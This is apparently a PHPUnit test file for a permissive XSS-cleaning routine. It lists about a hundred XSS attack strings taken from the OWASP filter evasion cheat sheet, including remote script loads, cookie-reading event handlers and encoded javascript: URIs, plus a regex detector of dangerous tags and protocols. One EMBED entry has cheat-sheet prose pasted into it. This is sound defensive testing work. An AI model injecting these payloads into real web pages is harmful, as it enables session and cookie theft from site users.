andybeak
10/21/2014 - 6:40 AM

PHPunit test for a permissive xss routine

PHPunit test for a permissive xss routine

<?php

/**
 *
 * There are use cases where using filter_var( FILTER_SANITIZE_STRING ) is not desireable because it is too greedy.
 * In the event that you have written a more permissive xss cleaning routine this unit test can be used to test your
 * cleaning routine.  The list of attack vectors is not comprehensive but should give you a good start.
 *
 * The detection routine below is based on https://github.com/symphonycms/xssfilter/blob/master/extension.driver.php
 * and on https://gist.github.com/mbijon/1098477
 *
 * Currently the detection routine needs work as some attack strings are modified to the point where they no longer
 * contain a vector when tested against the patterns.
 */

class xssTest extends PHPUnit_Framework_TestCase
{
    /**
     * @dataProvider workingStringsProvider
     */
    public function testWorkingStrings($testString){
        $this->assertEquals( $testString, Xss::xssClean( $testString ), 'These strings are safe and should be returned without modification' );
    }

    public static function workingStringsProvider(){
        // these strings should be returned without modification - they are not attacks
        return array(
                array('<Pass+word!@#$%^&*()-/\\>' ),
                array('<div><strong><p>acceptable markup</p><p>should be left alone</p></strong></div>'),
                array('<div>but what about broken markup</div'),
                array( 'Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed malesuada nec ex eu volutpat. Vestibulum varius odio a congue sagittis.' ),
                array( 'https://www.securewebaddress.com' ),
                array( 'http://www.httpwebaddress.com'),
                array( 'http://www.web.com/default.asp?TEST=foo&MSG=URL%20ECODED%20STUFF%20get%20variables.' ),
            );
    }

    /**
     * @dataProvider attackVectorProvider
     */
    public function testXssDetect($attackVector){
        // $this->assertTrue($this->detectXss($attackVector));
    }

    /**
     * @dataProvider attackVectorProvider
     */
    public function testXssClean($attackVector){
        $this->assertFalse($this->detectXss(Xss::xssClean($attackVector)), 'We expect the vector to be cleaned');
    }

    public static function attackVectorProvider()
    {
        // see https://www.owasp.org/index.php/XSS_Filter_Evasion_Cheat_Sheet
        return array(
                    array( '<iframe src="javascript:alert(\'Xss\')";></iframe>' ),
                    array( "'';!--\"<XSS>=&{()}" ),
                    array( '<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>' ),
                    array( '<IMG SRC="javascript:alert(\'XSS\');">' ),
                    array( '<IMG SRC=javascript:alert(\'XSS\')>' ),
                    array( '<IMG SRC=JaVaScRiPt:alert(\'XSS\')>' ),
                    array( '<IMG SRC=javascript:alert(\"XSS\")>' ),
                    array( '<IMG SRC=`javascript:alert("RSnake says, \'XSS\'")`>' ),
                    array( '<a onmouseover="alert(document.cookie)">xxs link</a>' ),
                    array( '<IMG """><SCRIPT>alert("XSS")</SCRIPT>">' ),
                    array( '<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>' ),
                    array( '<IMG SRC=# onmouseover="alert(\'xxs\')">' ),
                    array( '<IMG SRC= onmouseover="alert(\'xxs\')">' ),
                    array( '<IMG onmouseover="alert(\'xxs\')">' ),
                    array( '<IMG SRC=/ onerror="alert(String.fromCharCode(88,83,83))"></img>' ),
                    array( '<IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;
&#39;&#88;&#83;&#83;&#39;&#41;>' ),
                    array( '<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&
#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>' ),
                    array( '<IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72&#x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29>' ),
                    array( '<IMG SRC="jav  ascript:alert(\'XSS\');">' ),
                    array( '<IMG SRC="jav&#x09;ascript:alert(\'XSS\');">' ),
                    array( '<IMG SRC="jav&#x0A;ascript:alert(\'XSS\');">' ),
                    array( '<IMG SRC="jav&#x0D;ascript:alert(\'XSS\');">' ),
                    array( "<IMG SRC=java\0script:alert(\"XSS\")>" ),
                    array( '<IMG SRC=" &#14;  javascript:alert(\'XSS\');">' ),
                    array( '<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>' ),
                    array( '<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>' ),
                    array( '<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>' ),
                    array( '<<SCRIPT>alert("XSS");//<</SCRIPT>' ),
                    array( '<SCRIPT SRC=http://ha.ckers.org/xss.js?< B >' ),
                    array( '<SCRIPT SRC=//ha.ckers.org/.j>' ),
                    array( '<IMG SRC="javascript:alert(\'XSS\')"' ),
                    array( '\";alert(\'XSS\');//' ),
                    array( '</TITLE><SCRIPT>alert("XSS");</SCRIPT>' ),
                    array( '<INPUT TYPE="IMAGE" SRC="javascript:alert(\'XSS\');">' ),
                    array( '<BODY BACKGROUND="javascript:alert(\'XSS\')">' ),
                    array( '<IMG DYNSRC="javascript:alert(\'XSS\')">' ),
                    array( '<IMG LOWSRC="javascript:alert(\'XSS\')">' ),
                    array( '<STYLE>li {list-style-image: url("javascript:alert(\'XSS\')");}</STYLE><UL><LI>XSS</br>' ),
                    array( '<IMG SRC=\'vbscript:msgbox("XSS")\'>' ),
                    array( '<IMG SRC="livescript:[code]">' ),
                    array( '<BODY ONLOAD=alert(\'XSS\')>' ),
                    array( 'onClick(alert(\'XSS\'))' ),   // not using all of the on variations
                    array( '<BGSOUND SRC="javascript:alert(\'XSS\');">' ),
                    array( '<BR SIZE="&{alert(\'XSS\')}">' ),
                    array( '<LINK REL="stylesheet" HREF="javascript:alert(\'XSS\');">' ),
                    array( '<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">' ),
                    array( '<STYLE>@import\'http://ha.ckers.org/xss.css\';</STYLE>' ),
                    array( '<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">' ),
                    array( '<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>' ),
                    array( '<STYLE>@im\port\'\\ja\\vasc\\ript:alert("XSS")\';</STYLE>' ),
                    array( '<IMG STYLE="xss:expr/*XSS*/ession(alert(\'XSS\'))">' ),
                    array( 'exp/*<A STYLE=\'no\xss:noxss("*//*");' ),
                    array( '<STYLE TYPE="text/javascript">alert(\'XSS\');</STYLE>' ),
                    array( '<STYLE>.XSS{background-image:url("javascript:alert(\'XSS\')");}</STYLE><A CLASS=XSS></A>' ),
                    array( '<STYLE type="text/css">BODY{background:url("javascript:alert(\'XSS\')")}</STYLE>' ),
                    array( '<XSS STYLE="xss:expression(alert(\'XSS\'))">' ),
                    array( '<XSS STYLE="behavior: url(xss.htc);">' ),
                    array( '<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(\'XSS\');">' ),
                    array( '<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">' ),
                    array( '<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert(\'XSS\');">' ),
                    array( '<IFRAME SRC="javascript:alert(\'XSS\');"></IFRAME>' ),
                    array( '<IFRAME SRC=# onmouseover="alert(document.cookie)"></IFRAME>' ),
                    array( '<FRAMESET><FRAME SRC="javascript:alert(\'XSS\');"></FRAMESET>' ),
                    array( '<TABLE BACKGROUND="javascript:alert(\'XSS\')">' ),
                    array( '<TABLE><TD BACKGROUND="javascript:alert(\'XSS\')">' ),
                    array( '<DIV STYLE="background-image: url(javascript:alert(\'XSS\'))">' ),
                    array( '<DIV STYLE="background-image:\\0075\\0072\\006C\\0028\'\\006a\\0061\\0076\\0061\\0073\\0063\\0072\\0069\\0070\\0074\\003a\\0061\\006c\\0065\\0072\\0074\\0028.1027\\0058.1053\\0053\\0027\\0029\'\\0029">' ),
                    array( '<DIV STYLE="background-image: url(&#1;javascript:alert(\'XSS\'))">' ),
                    array( '<DIV STYLE="width: expression(alert(\'XSS\'));">' ),
                    array( '<BASE HREF="javascript:alert(\'XSS\');//">' ),
                    array( '<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>' ),
                    array( 'EMBED SRC="http://ha.ckers.Using an EMBED tag you can embed a Flash movie that contains XSS. Click here for a demo. If you add the attributes allowScriptAccess="never" and allownetworking="internal" it can mitigate this risk (thank you to Jonathan Vanasco for the info).:
org/xss.swf" AllowScriptAccess="always"></EMBED>' ),
                    array( '<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>' ),
                    array( 'c="javascript:";' ),
                    array( '<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert(\'XSS\')"></B></I></XML>' ),
                    array( '<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>' ),
                    array( '<XML SRC="xsstest.xml" ID=I></XML>' ),
                    array( '<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>' ),
                    array( '<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>' ),
                    array( '<t:set attributeName="innerHTML" to="XSS<SCRIPT DEFER>alert("XSS")</SCRIPT>">' ),
                    array( '<SCRIPT SRC="http://ha.ckers.org/xss.jpg"></SCRIPT>' ),
                    array( '<!--#exec cmd="/bin/echo \'<SCR\'"--><!--#exec cmd="/bin/echo \'IPT SRC=http://ha.ckers.org/xss.js></SCRIPT>\'"-->' ),
                    array( '<IMG SRC="http://www.thesiteyouareon.com/somecommand.php?somevariables=maliciouscode">' ),
                    array( '<META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(\'XSS\')</SCRIPT>">' ),
                    array( '<HEAD><META HTTP-EQUIV="CONTENT-TYPE" CONTENT="text/html; charset=UTF-7"> </HEAD>+ADw-SCRIPT+AD4-alert(\'XSS\');+ADw-/SCRIPT+AD4-' ),
                    array( '<SCRIPT a=">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>' ),
                    array( '<SCRIPT =">" SRC="http://ha.ckers.org/xss.js"></SCRIPT>' ),
                    array( '<SCRIPT a=">" \'\' SRC="http://ha.ckers.org/xss.js"></SCRIPT>' ),
                    array( '<SCRIPT "a=\'>\'" SRC="http://ha.ckers.org/xss.js"></SCRIPT>' ),
                    array( '<SCRIPT a=`>` SRC="http://ha.ckers.org/xss.js"></SCRIPT>' ),
                    array( '<SCRIPT a=">\'>" SRC="http://ha.ckers.org/xss.js"></SCRIPT>' ),
                    array( '<SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://ha.ckers.org/xss.js"></SCRIPT>' ),
                    array( '($_POST >"\'><script>alert(‘XSS\')</script>' ),
                    array( '$_POST >%22%27><img%20src%3d%22javascript:alert(%27XSS%27)%22>' ),
                    array( '>"\'><img%20src%3D%26%23x6a;%26%23x61;%26%23x76;%26%23x61;%26%23x73;%26%23x63;%26%23x72;%26%23x69;%26%23x70;%26%23x74;%26%23x3a;alert(%26quot;XSS%26quot;)>' ),
                    array( 'AK%22%20style%3D%22background:url(javascript:alert(%27XSS%27))%22%20OS%22' ),
                    array( '%22%2Balert(%27XSS%27)%2B%22' ),
                    array( '<table background="javascript:alert(([code])"></table>' ),
                    array( '<object type=text/html data="javascript:alert(([code]);"></object>' ),
                    array( '<body onload="javascript:alert(([code])"></body>' )
                );
    }

    /**
    * Given a string, this function will determine if it potentially an
    * XSS attack and return boolean.
    *
    * @author https://github.com/symphonycms/xssfilter/blob/master/extension.driver.php
    *
    * @param string $string The string to run XSS detection logic on
    * @return boolean True if the given `$string` contains XSS, false otherwise.
    *
    */
    private function detectXSS( $string ){
        $contains_xss = false;

        // Skip any null or non string values
        if(is_null($string) || !is_string($string) ){
            return $contains_xss;
        }

        // Keep a copy of the original string before cleaning up
        $orig = $string;

        // URL decode
        $string = urldecode($string);

        // Convert Hexadecimals
        $string = preg_replace('!(&#|\\\)[xX]([0-9a-fA-F]+);?!e','chr(hexdec("$2"))', $string);

        // Clean up entities
        $string = preg_replace('!(&#0+[0-9]+)!','$1;',$string);

        // Decode entities
        $string = html_entity_decode($string, ENT_NOQUOTES, 'UTF-8');

        // Strip whitespace characters
        $string = preg_replace('!\s!','',$string);

        // Fix &entity\n;
        $string = str_replace(array('&amp;','&lt;','&gt;'), array('&amp;amp;','&amp;lt;','&amp;gt;' ), $string);
        $string = preg_replace('/(&#*\w+)[\x00-\x20]+;/u', '$1;', $string);
        $string = preg_replace('/(&#x*[0-9A-F]+);*/iu', '$1;', $string);
        $string = html_entity_decode($string, ENT_COMPAT, 'UTF-8');

        // Set the patterns we'll test against
        $patterns = array(
            // Match any attribute starting with "on" or xmlns
            '#(<[^>]+[\x00-\x20\"\'\/])(on|xmlns)[^>]*>?#iUu',
            // Match javascript:, livescript:, vbscript: and mocha: protocols
            '!((java|live|vb)script|mocha|feed|data):(\w)*!iUu',
            '#-moz-binding[\x00-\x20]*:#u',
            // Match style attributes
            '#(<[^>]+[\x00-\x20\"\'\/])style=[^>]*>?#iUu',
            // Match unneeded tags
            '#</*(?:applet|b(?:ase|gsound|link)|embed|frame(?:set)?|i(?:frame|layer)|l(?:ayer|ink)|meta|object|s(?:cript|tyle)|title|xml)[^>]*+>#i'
        );

        foreach($patterns as $pattern){
            // Test both the original string and clean string
            if( preg_match($pattern, $string) || preg_match($pattern, $orig)){
                $contains_xss = true;
            }
            if ($contains_xss === true){
                return true;
            }
        }
        return false;
    }

}